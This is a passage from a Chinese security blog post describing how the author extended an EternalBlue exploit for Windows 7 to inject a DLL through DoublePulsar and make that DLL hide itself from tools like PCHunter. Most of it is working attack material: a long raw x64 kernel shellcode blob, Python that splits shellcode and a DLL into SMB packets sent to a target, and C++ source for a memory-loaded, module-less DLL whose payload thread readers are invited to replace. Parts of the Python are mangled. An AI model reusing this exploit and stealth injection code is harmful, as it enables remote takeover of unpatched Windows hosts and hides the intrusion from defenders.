x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x48\xB8\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xE9\x2E\xFC\xFF\xFF\x6D\x73\x76\x63\x72\x74\x2E\x64\x6C\x6C\x00\x6D\x73\x76\x63\x72\x74\x64\x2E\x64\x6C\x6C\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x57\x52\x53\x48\x89\x7D\x00\x48\x89\xFA\x48\x83\xC2\x00\x66\x8B\x1A\x66\x81\xFB\x4D\x5A\x75\x63\x48\x89\xFA\x48\x83\xC2\x3C\x48\x31\xDB\x8B\x1A\x48\x01\xDF\x48\x89\x7D\x08\x48\x89\xFA\x48\x83\xC2\x00\x8B\x1A\x81\xFB\x50\x45\x00\x00\x75\x3F\x48\x89\xFA\x48\x83\xC2\x18\x66\x8B\x1A\x66\x81\xFB\x0B\x02\x75\x2E\x48\x89\xFA\x48\x83\xC2\x14\x48\x31\xDB\x66\x8B\x1A\x48\x89\xFA\x48\x83\xC2\x18\x48\x01\xDA\x48\x89\x55\x10\x48\x89\xFA\x48\x81\xC2\x88\x00\x00\x00\x48\x89\x55\x18\x48\x31\xC0\xEB\x06\x48\x31\xC0\x48\xF7\xD0\x5B\x5A\x5F\xC3\x57\x52\x53\x48\x8B\x7D\x08\x48\x83\xC7\x50\x48\x31\xDB\x8B\x1F\x48\x89\x5D\x50\x48\x8B\x7D\x08\x48\x83\xC7\x30\x48\x8B\x17\x49\xB9\x40\x00\x00\x00\x00\x00\x00\x00\x49\xB8\x00\x30\x00\x00\x00\x00\x00\x00\x48\x89\xD1\x48\x89\xDA\x48\x83\xEC\x20\xFF\x56\x08\x48\x83\xC4\x20\x48\x85\xC0\x75\x25\x49\xB9\x40\x00\x00\x00\x00\x00\x00\x00\x49\xB8\x00\x30\x00\x00\x00\x00\x00\x00\x48\x89\xDA\x48\x31\xC9\x48\x83\xEC\x20\xFF\x56\x08\x48\x83\xC4\x20\x5B\x5A\x5F\xC3\x57\x52\x53\x51\x56\x48\x8B\x76\x48\x48\x8B\x7D\x20\x48\x8B\x5D\x08\x48\x83\xC3\x54\x48\x31\xC9\x8B\x0B\xF3\xA4\x5E\x48\x8B\x7D\x08\x48\x83\xC7\x06\x48\x31\xDB\x66\x8B\x1F\x48\x31\xD2\x48\x39\xD3\x74\x4D\x48\xB8\x28\x00\x00\x00\x00\x00\x00\x00\x52\x48\xF7\xE2\x5A\x48\x03\x45\x10\x56\x48\x8B\x76\x48\x48\x89\xC1\x48\x83\xC1\x14\x4D\x31\xD2\x44\x8B\x11\x4C\x01\xD6\x48\x8B\x7D\x20\x48\x89\xC1\x48\x83\xC1\x0C\x4D\x31\xD2\x44\x8B\x11\x4C\x01\xD7\x48\x83\xC0\x10\x48\x31\xC9\x8B\x08\xF3\xA4\x5E\x48\xFF\xC2\xEB\xAE\x48\x31\xC0\xEB\x06\x48\x31\xC0\x48\xF7\xD0\x59\x5B\x5A\x5F\xC3\x57\x52\x53\x51\x48\x8B\x7D\x20\xE8\x6C\xFE\xFF\xFF\x48\x85\xC0\x0F\x85\x50\x01\x00\x00\xE8\x1F\x05\x00\x00\x48\x85\xC0\x0F\x85\x42\x01\x00\x00\x48\x8B\x7D\x00\x48\xB8\x08\x00\x00\x00\x00\x00\x00\x00\x48\xBA\x01\x00\x00\x00\x00\x00\x00\x00\x48\xF7\xE2\x48\x8B\x55\x18\x48\x01\xC2\x48\x83\xC2\x00\x48\x31\xDB\x8B\x1A\x48\x01\xFB\x48\x89\x5D\x30\x48\x39\xFB\x0F\x84\x0F\x01\x00\x00\x49\x89\xDA\x49\x83\xC2\x10\x48\x31\xC0\x41\x8B\x02\x48\x85\xC0\x0F\x84\xF9\x00\x00\x00\x48\x8B\x45\x00\x48\x89\xDA\x48\x83\xC2\x0C\x4D\x31\xD2\x44\x8B\x12\x4C\x01\xD0\x48\x89\xC1\x48\x83\xEC\x20\xFF\x56\x18\x48\x83\xC4\x20\x48\x85\xC0\x0F\x84\xC6\x00\x00\x00\x48\x89\x45\x48\x48\x89\xDA\x48\x83\xC2\x00\x48\x8B\x7D\x00\x4D\x31\xD2\x44\x8B\x12\x4C\x01\xD7\x48\x89\x7D\x38\x48\x89\xDA\x48\x83\xC2\x10\x48\x8B\x7D\x00\x4D\x31\xD2\x44\x8B\x12\x4C\x01\xD7\x48\x89\x7D\x40\x48\x8B\x55\x38\x48\x8B\x12\x48\x85\xD2\x74\x7D\x48\x89\xD7\x49\xBA\x00\x00\x00\x00\x00\x00\x00\x80\x4C\x21\xD7\x74\x0C\x48\x89\xD7\x48\x81\xE7\xFF\xFF\x00\x00\xEB\x0B\x48\x8B\x7D\x00\x48\x01\xD7\x48\x83\xC7\x02\x48\x89\xFA\x48\x8B\x4D\x48\x48\x83\xEC\x20\xFF\x56\x20\x48\x83\xC4\x20\x48\x85\xC0\x74\x46\x48\x8B\x55\x40\x48\x89\x02\xE8\x07\x06\x00\x00\x48\x85\xC0\x74\x0F\xE8\x97\x05\x00\x00\x48\x85\xC0\x75\x05\xE8\xF0\x04\x00\x00\x48\x8B\x55\x38\x48\x83\xC2\x08\x48\x89\x55\x38\x48\x8B\x55\x40\x48\x83\xC2\x08\x48\x89\x55\x40\xE9\x77\xFF\xFF\xFF\x48\x83\xC3\x14\xE9\xF9\xFE\xFF\xFF\x48\x31\xC0\x48\xF7\xD0\xEB\x03\x48\x31\xC0\x59\x5B\x5A\x5F\xC3\x57\x52\x48\x8B\x7D\x08\x48\x83\xC7\x30\x48\x8B\x55\x20\x48\x89\x17\x48\x31\xC0\x5A\x5F\xC3\x57\x52\x53\x51\x48\x8B\x55\x28\x48\x85\xD2\x0F\x84\xF5\x00\x00\x00\x48\xB8\x08\x00\x00\x00\x00\x00\x00\x00\x48\xBA\x05\x00\x00\x00\x00\x00\x00\x00\x48\xF7\xE2\x48\x8B\x55\x18\x48\x01\xC2\x49\x89\xD2\x49\x83\xC2\x04\x48\x31\xFF\x41\x8B\x3A\x48\x85\xFF\x0F\x84\xC1\x00\x00\x00\x49\x89\xD2\x49\x83\xC2\x00\x48\x31\xFF\x41\x8B\x3A\x48\x85\xFF\x0F\x84\xA3\x00\x00\x00\x48\x8B\x55\x20\x48\x01\xFA\x49\x89\xD2\x49\x83\xC2\x04\x41\x8B\x3A\x48\x85\xFF\x0F\x84\x91\x00\x00\x00\x48\x83\xEF\x08\x48\xD1\xEF\x48\x31\xC9\x48\x39\xF9\x74\x65\x48\x89\xD3\x48\x83\xC3\x08\x48\x89\xC8\x48\xD1\xE0\x48\x01\xC3\x48\xC7\x45\x58\x00\x00\x00\x00\x66\x8B\x03\x66\x25\x00\xF0\x66\xC1\xE8\x0C\x66\x83\xF8\x00\x74\x37\x66\x83\xF8\x03\x74\x06\x66\x83\xF8\x0A\x75\x2B\x49\x89\xD2\x49\x83\xC2\x00\x41\x8B\x02\x48\x89\x45\x58\x48\x31\xC0\x66\x8B\x03\x66\x25\xFF\x0F\x48\x01\x45\x58\x48\x8B\x45\x20\x48\x03\x45\x58\x48\x8B\x5D\x28\x48\x01\x18\x48\xFF\xC1\xEB\x96\x49\x89\xD2\x49\x83\xC2\x04\x48\x31\xFF\x41\x8B\x3A\x48\x01\xFA\xE9\x64\xFF\xFF\xFF\x48\x31\xC0\x48\xF7\xD0\xEB\x03\x48\x31\xC0\x59\x5B\x5A\x5F\xC3\x57\x52\x53\x51\x48\xB8\x08\x00\x00\x00\x00\x00\x00\x00\x48\xBA\x03\x00\x00\x00\x00\x00\x00\x00\x48\xF7\xE2\x48\x8B\x55\x18\x48\x01\xC2\x48\x89\xD1\x48\x83\xC1\x04\x48\x31\xC0\x8B\x01\x48\x85\xC0\x74\x36\x48\x89\xD1\x48\x83\xC1\x00\x48\x31\xFF\x8B\x39\x48\x85\xFF\x74\x25\x48\x8B\x4D\x20\x49\x89\xC8\x48\x01\xF9\x48\x89\x4D\x78\x48\x31\xD2\xBF\x0C\x00\x00\x00\xF7\xF7\x89\xC2\x48\x83\xEC\x20\xFF\x56\x38\x48\x83\xC4\x20\x48\x31\xC0\x59\x5B\x5A\x5F\xC3\x57\x52\x53\x51\x48\x8B\x7D\x08\x48\x83\xC7\x06\x48\x31\xDB\x66\x8B\x1F\x48\x31\xD2\x48\x39\xD3\x0F\x84\xE6\x00\x00\x00\x48\xB8\x28\x00\x00\x00\x00\x00\x00\x00\x52\x48\xF7\xE2\x5A\x48\x03\x45\x10\x49\x89\xC2\x49\x83\xC2\x24\x48\x31\xFF\x41\x8B\x3A\xC7\x85\xA6\x00\x00\x00\x00\x00\x00\x00\x48\xF7\xC7\x00\x00\x00\x02\x0F\x85\x9F\x00\x00\x00\x48\xF7\xC7\x00\x00\x00\x40\x74\x0A\xC7\x85\xA6\x00\x00\x00\x02\x00\x00\x00\x49\xBA\x00\x00\x00\x80\x00\x00\x00\x00\x4C\x85\xD7\x74\x0A\xC7\x85\xA6\x00\x00\x00\x04\x00\x00\x00\x48\xF7\xC7\x00\x00\x00\x20\x74\x26\x83\xBD\xA6\x00\x00\x00\x02\x75\x0A\xC7\x85\xA6\x00\x00\x00\x20\x00\x00\x00\x83\xBD\xA6\x00\x00\x00\x04\x75\x0A\xC7\x85\xA6\x00\x00\x00\x40\x00\x00\x00\x48\x8B\x7D\x20\x48\x89\xC1\x48\x83\xC1\x0C\x4D\x31\xD2\x44\x8B\x11\x4C\x01\xD7\x49\x89\xC2\x49\x83\xC2\x08\x41\x8B\x0A\x52\x4C\x8D\x8D\xAA\x00\x00\x00\x4C\x8B\x85\xA6\x00\x00\x00\x48\x89\xCA\x48\x89\xF9\x48\x83\xEC\x20\xFF\x56\x30\x48\x83\xC4\x20\x5A\x48\x85\xC0\x74\x08\x48\xFF\xC2\xE9\x19\xFF\xFF\xFF\x48\x31\xC0\x48\xF7\xD0\xEB\x03\x48\x31\xC0\x59\x5B\x5A\x5F\xC3\x52\x57\x48\xBA\x00\x00\x00\x00\x00\x00\x00\x00\xEB\x0C\x52\x57\x48\xBA\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8B\x45\x20\x4C\x8B\x55\x08\x49\x83\xC2\x28\x48\x31\xFF\x41\x8B\x3A\x48\x01\xF8\x49\xB8\x00\x00\x00\x00\x00\x00\x00\x00\x48\x8B\x4D\x20\x48\x83\xEC\x20\xFF\xD0\x48\x83\xC4\x20\x48\x31\xC0\x5F\x5A\xC3\x48\x39\xEC\x0F\x8D\xAA\x00\x00\x00\x57\x56\x53\x48\x89\xE6\x48\x83\xC6\x0C\x55\x6A\x00\x48\x89\xE3\x51\x52\x48\x89\xE9\x48\x29\xF1\x48\x83\xF9\x08\x0F\x8C\x81\x00\x00\x00\x50\x52\x53\x48\xB8\x0F\x00\x00\x00\x00\x00\x00\x00\x48\x6B\xC0\x08\x48\x39\xC8\x7D\x03\x48\x89\xC1\x48\xBA\x00\x00\x00\x00\x00\x00\x00\x00\x48\x89\xC8\x48\xBB\x08\x00\x00\x00\x00\x00\x00\x00\x48\xF7\xFB\x48\xFF\xC8\x6A\x00\x48\x83\xF8\x00\x75\xF5\x48\x01\xCC\x5B\x5A\x58\x48\x89\xE5\x48\x89\xE7\x48\x29\xCF\x48\x89\xFC\xF3\xA4\x48\x89\x23\x48\x8B\x4B\xF8\x48\x8B\x53\xF0\x48\xC7\x43\xF8\x00\x00\x00\x00\x48\xC7\x43\xF0\x00\x00\x00\x00\x48\xC7\x04\x24\xFF\xFF\xFF\xFF\x48\xBE\xEE\xEE\xEE\xEE\xEE\xEE\xEE\xEE\xFF\xE0\x59\x59\x5D\x5D\x5B\x5E\x5F\xFF\xE0\x48\x89\xE1\x48\x2B\x4D\x08\x48\x83\xE9\x04\x48\x89\xEC\x48\x83\xC4\x0C\x5D\x5B\x5E\x5F\x5A\x48\x01\xCC\xFF\xE2\x00\x00\x00\x00\x57\x52\x53\x51\x48\xB8\x08\x00\x00\x00\x00\x00\x00\x00\x48\xBA\x0C\x00\x00\x00\x00\x00\x00\x00\x48\xF7\xE2\x48\x8B\x55\x18\x48\x01\xC2\x48\x83\xC2\x04\x48\x31\xDB\x8B\x1A\x48\xC1\xEB\x02\x48\xB8\x0F\x00\x00\x00\x00\x00\x00\x00\x48\xF7\xE3\x48\x89\x45\x68\x49\xB9\x40\x00\x00\x00\x00\x00\x00\x00\x49\xB8\x00\x30\x00\x00\x00\x00\x00\x00\x48\x89\xC2\x48\x31\xC9\x48\x83\xEC\x20\xFF\x56\x08\x48\x83\xC4\x20\x48\x85\xC0\x74\x7C\x48\x89\x45\x60\x48\x8B\x46\x58\x48\x8B\xBD\xAE\x00\x00\x00\x48\x83\xC7\x03\x48\x89\x07\x48\x8B\x46\x68\x48\xA9\x00\x00\x00\x00\x74\x2E\x48\x8B\x85\xBE\x00\x00\x00\x48\x8B\x9D\xC6\x00\x00\x00\x48\x89\x03\x48\x8B\x5E\x60\x48\x8B\xBD\xC6\x00\x00\x00\x48\x29\xDF\x48\x8B\x9D\xB6\x00\x00\x00\x48\xFF\xC3\x48\x89\x3B\xEB\x14\x48\x8B\x85\xBE\x00\x00\x00\x48\x8B\xBD\xB6\x00\x00\x00\x48\xFF\xC7\x48\x89\x07\x48\x8B\x46\x68\x48\xA9\x01\x00\x00\x00\x74\x14\x48\x8B\xBD\xB6\x00\x00\x00\xC6\x07\xBF\xEB\x08\x48\x31\xC0\x48\xF7\xD0\xEB\x03\x48\x31\xC0\x59\x5B\x5A\x5F\xC3\x57\x52\x53\x51\x56\x50\x48\x8B\x7D\x60\x48\x8B\x45\x70\x48\x01\xC7\x48\x89\xEE\x48\x81\xC6\x80\x00\x00\x00\x48\xB9\x0F\x00\x00\x00\x00\x00\x00\x00\xF3\xA4\x48\x8B\x7D\x60\x48\x8B\x45\x70\x48\x01\xC7\x48\x83\xC7\x00\x48\xFF\xC7\x48\x8B\x55\x40\x48\x8B\x1A\x48\x89\x1F\x48\x8B\xB5\xCE\x00\x00\x00\x48\x8B\x7D\x60\x48\x8B\x45\x70\x48\x01\xC7\x48\x83\xC7\x0A\x48\xFF\xC7\x48\x83\xC7\x08\x48\x29\xFE\x48\x8B\x7D\x60\x48\x8B\x45\x70\x48\x01\xC7\x48\x83\xC7\x0A\x48\xFF\xC7\x48\x89\x37\x48\x8B\x7D\x60\x48\x8B\x45\x70\x48\x01\xC7\x48\x8B\x75\x40\x48\x89\x3E\x48\x8B\x45\x70\x48\x83\xC0\x0F\x48\x89\x45\x70\x58\x5E\x59\x5B\x5A\x5F\xC3\x57\x52\x53\x51\x56\xEB\x4D\x48\x8B\x7D\x00\x48\x89\xDA\x48\x83\xC2\x0C\x48\x03\x3A\x48\x89\xE9\x48\x81\xC1\x8F\x00\x00\x00\x48\x89\xFA\x48\x83\xEC\x20\xFF\x56\x28\x48\x83\xC4\x20\x48\x85\xC0\x74\x22\x48\x89\xE9\x48\x81\xC1\x9A\x00\x00\x00\x48\x89\xFA\x48\x83\xEC\x20\xFF\x56\x28\x48\x83\xC4\x20\x48\x85\xC0\x74\x05\x48\x31\xC0\xEB\x0C\x48\xB8\x01\x00\x00\x00\x00\x00\x00\x00\xEB\x00\x5E\x59\x5B\x5A\x5F\xC3\x57\x52\x53\x51\x56\x48\x8B\x7D\x48\x48\x89\xFA\x48\x83\xC2\x00\x66\x8B\x1A\x66\x81\xFB\x4D\x5A\x0F\x85\x9B\x00\x00\x00\x48\x89\xFA\x48\x83\xC2\x3C\x48\x31\xDB\x8B\x1A\x48\x01\xDF\x48\x89\xFA\x48\x83\xC2\x00\x48\x31\xDB\x8B\x1A\x48\x81\xFB\x50\x45\x00\x00\x75\x77\x48\x89\xFE\x48\x83\xC6\x14\x48\x31\xDB\x66\x8B\x1E\x48\x89\xFE\x48\x83\xC6\x18\x48\x01\xDE\x48\x89\xFB\x48\x83\xC3\x06\x48\x31\xC9\x66\x8B\x0B\x48\x31\xD2\x48\x89\xF3\x48\x83\xC3\x0C\x48\x8B\x7D\x48\x4D\x31\xD2\x44\x8B\x13\x4C\x01\xD7\x48\x39\xF8\x7C\x2B\x48\x89\xF3\x48\x83\xC3\x08\x4D\x31\xD2\x44\x8B\x13\x4C\x01\xD7\x48\x39\xF8\x7D\x16\x49\x89\xF2\x49\x83\xC2\x24\x48\x31\xDB\x41\x8B\x1A\x48\xF7\xC3\x00\x00\x00\x20\x75\x11\x48\x83\xC6\x28\x48\xFF\xC2\x48\x39\xCA\x7C\xB0\x48\x31\xC0\xEB\x0C\x48\xB8\x01\x00\x00\x00\x00\x00\x00\x00\xEB\x00\x5E\x59\x5B\x5A\x5F\xC3\xEB\x4D\x90\x90\x90\x90\x90\x90\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1E\x00\x00\x00\x21\x0D\x00\x00\x4E\x0D\x00\x00\x00\x09\x00\x00\x00\x5E\x0D\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xE8\x00\x00\x00\x00\x58\x48\x8B\x60\xC6\x48\x8B\x68\xCE\x48\x8B\x70\xD6\x48\x8D\x0D\xCA\xFF\xFF\xFF\x48\x83\xEC\x20\xFF\x56\x40\x48\x83\xC4\x20\xE9\x11\x01\x00\x00\x4C\x89\xC6\xE9\x09\x01\x00\x00\x54\x55\x51\x52\x53\x56\x57\x48\x31\xDB\x65\x48\x8B\x5B\x30\x48\x8B\x5B\x60\x48\x8B\x5B\x18\x48\x8B\x5B\x10\x48\x8B\x73\x60\x48\x85\xF6\x0F\x84\xA6\x00\x00\x00\x48\x8B\x6B\x30\x48\x85\xED\x0F\x84\x99\x00\x00\x00\x48\x31\xD2\xC1\xC2\x05\x66\xAD\x0C\x20\x30\xC2\x66\x83\x3E\x00\x75\xF1\x48\x8B\x1B\x48\x3B\x54\x24\x20\x75\xCA\x48\x89\xEF\x66\x81\x3F\x4D\x5A\x75\x73\x8B\x7D\x3C\x48\x01\xEF\x81\x3F\x50\x45\x00\x00\x75\x65\x48\x89\xF9\x48\x83\xC1\x18\x48\x85\xC9\x74\x59\x48\x31\xD2\x8B\xBF\x88\x00\x00\x00\x48\x01\xEF\x8B\x57\x1C\x48\x01\xEA\x8B\x5F\x20\x48\x01\xEB\x8B\x7F\x24\x48\x01\xEF\x49\x89\xD1\x8B\x33\x48\x01\xEE\x48\x31\xD2\xC1\xC2\x05\xAC\x0C\x20\x30\xC2\x80\x3E\x00\x75\xF3\x48\x3B\x54\x24\x18\x74\x0C\x48\x83\xC7\x02\x48\x83\xC3\x04\xE2\xDA\xEB\x10\x48\x0F\xB7\x17\x48\xC1\xE2\x02\x4C\x01\xCA\x8B\x02\x48\x01\xE8\x5F\x5E\x5B\x5A\x59\x5D\x5C\xC3\x06\xDF\xB0\x2C\x51\x33\x8A\x8D\xA4\x00\x78\x95\x27\x85\x00\x3B\x00\xA1\xB4\x00\xDB\xB6\xB6\xE5\x00\xC4\x22\x07\xE2\x00\x82\x5A\x15\x4A\x00\x02\x55\xF0\xD6\xDE\x79\x03\xAA\x86\x00\x0D\xC4\x8A\xDC\x00\x00\x48\x8B\x26\x50\x48\x31\xC0\x48\x8D\x0D\x33\x00\x00\x00\x48\x8D\x1D\x2C\x00\x00\x00\x48\x29\xD9\x48\x89\xDF\xF3\xAA\x48\x8D\x0D\x0D\x00\x00\x00\x48\x8D\x1D\x96\xF0\xFF\xFF\x48\x29\xD9\x48\x89\xDF\xF3\xAA\x58\x41\x5F\x41\x5E\x41\x5D\x41\x5C\x5E\x5F\x5D\x5B\xC3\xEB\x08\x00\x14\x00\x00\x01\x00\x00\x00"
        = open(dllfile,"rb")
    dll_hex = f.read()
    f.close()
    #dll_hex += "\x00"*3
    array , ncount = make_smb_request(kernel_shellcode + dll_hex,key)
    for in range(ncount):
        #print binascii.b2a_hex(array[i])
        print i+4,",len:",len(array[i])
        s.sendall(array[i])
        data = s.recv(1024)
        print i+4,"--->",data
        #end1
            step_7_data ="\x00\x00\x00\x23\xFF\x53\x4D\x42\x71\x00\x00\x00\x00\x18\x07\xC0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xFF\xFE\x00\x08\x42\x00\x00\x00\x00"
            s.sendall(step_7_data)
            data = s.recv(1024)
            print 7,data
            #end2
            step_8_data ="\x00\x00\x00\x27\xFF\x53\x4D\x42\x74\x00\x00\x00\x00\x18\x07\xC0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xFF\xFE\x00\x08\x42\x00\x02\xFF\x00\x27\x00\x00\x00"
            s.sendall(step_8_data)
            data = s.recv(1024)
            print 8,data
            print "------Inject dll done!------"
                s.close()

0x5: 永恒之蓝 + 自隐藏模块注入

我们写的win7下的exploit功能就算基本完成了,但是如果要想完成一次成熟的攻击, 不可能注入了进程之后进程又崩掉了,dll注入是和权限有直接关系的,Doubleplusar执行后是nt权限,可以采用无模块注入来注入到受害者的机器测试后发现同时也解决进程崩掉的问题这里顺便提一下无模块注入中的一些知识。关于dll注入和 x86 x64 进程互写互读的知识有兴趣可以去看看. 这里介绍一种关于模块自隐藏的知识

:DllMain第一次执行时,申请一块内存把DLL文件进行模拟加载,然后再调用模拟加载PE的DllMain,第二次的DllMain就在非模块的内存中执行了。DLL自卸载说起来也不难,是用MOMODALMARK标记DllMain的返回值  类似于MemoryLoadLibrary 的功能

上代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "stdafx.h"
#include "MemoryLoad.h"
//创建一个进程互斥量  防止无模块DLL多次注入
BOOL IsMutexExist(char* pstrMutex)
{
    BOOL bRet = FALSE;
    HANDLE hMutex = NULL;
    hMutex = CreateMutexA(NULL, TRUE, pstrMutex);
    if (hMutex)
    {
        if (GetLastError() == ERROR_ALREADY_EXISTS)
            bRet = TRUE;
        ReleaseMutex(hMutex);
        CloseHandle(hMutex);
    }
    else
    {
        bRet = TRUE;
    }
    return bRet;
}
//调用LoadPE.cpp里的函数,自行处理PE加载,把DLL在新申请的内存加载起来,并执行入口函数
void LaunchNoModule()
{
    LaunchDll((char*)dllModuleName, NO_MODULE_MARK);
}
unsigned int  __stdcall NoModuleThread(void* lpParameter)
{
    while (TRUE)
    {
        Sleep(1000);
        OutputDebugString(L"Test by IronMan.");
    }
    return TRUE;
}
//调用LoadPE.cpp里的函数,自行处理PE加载,把DLL在新申请的内存加载起来,并执行入口函数
void NoModuleEntryCall(HMODULE hModule, DWORD ul_reason_for_call, char* pstrModuleName)
{
    TCHAR szMutexName[MAX_PATH];
    wsprintf(szMutexName, L"Test 15pb bingo! %d", GetCurrentProcessId());
    g_hMutex = CreateMutex(NULL, TRUE, szMutexName);
    TCHAR szLog[MAX_PATH] = { 0 };
    wsprintf(szLog, L"NoModuleEntryCall Module Start:%p", hModule);
    OutputDebugString(szLog);
    //下面为正常Dll功能代码
    CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)NoModuleThread, NULL, NULL, NULL);
}
BOOL ChooseSub(HMODULE hModule, DWORD ul_reason_for_call, char* pstrModuleName)
{
    BOOL bRet = FALSE;
    GetModuleFileNameA(NULL, exeModuleName, MAX_PATH);
    if (ul_reason_for_call == NO_MODULE_MARK)
        //  strcpy((char*)dllModuleName,pstrModuleName);
        int a = 1;
    else
        GetModuleFileName(hModule, dllModuleName, MAX_PATH);
    if (ul_reason_for_call == NO_MODULE_MARK)
    {
        NoModuleEntryCall(hModule, DLL_PROCESS_ATTACH, 0);
        bRet = TRUE;
    }
    else
    {
        LaunchNoModule();
        bRet = FALSE;
    }
    return bRet;
}
BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    BOOL  bRet = FALSE;
    if (ul_reason_for_call == DLL_PROCESS_ATTACH || ul_reason_for_call == NO_MODULE_MARK)
    {
        TCHAR szMutexName[MAX_PATH];
        wsprintf(szMutexName, L"yanshier2013nomoduleinject%d", GetCurrentProcessId());
        if (IsMutexExist((char*)szMutexName))
            return FALSE;
        bRet = ChooseSub(hModule, ul_reason_for_call, (char *)lpReserved);
    }
    else
    {
        if (ul_reason_for_call == DLL_PROCESS_DETACH)
        {
            ReleaseMutex(g_hMutex);
            CloseHandle(g_hMutex);
            bRet = TRUE;
        }
    }
    return bRet;
}

我注入了NTFSinfo这个程序.用PChunter是看不到自己注入的模块的

每隔一秒用 OutputString打印出一句 Test by IronMan. 需要的话直接在NoModuleThread替换功能就可以了。

http://p6.qhimg.com/t01e684ad6f55fbfa50.png

自卸载dll源码编译 vs2010 vs2013

源码打包地址: http://pan.baidu.com/s/1miObL00

 

本文由 安全客 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/4201.html

 

© 版权声明
THE END
喜欢就支持一下吧
点赞0 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容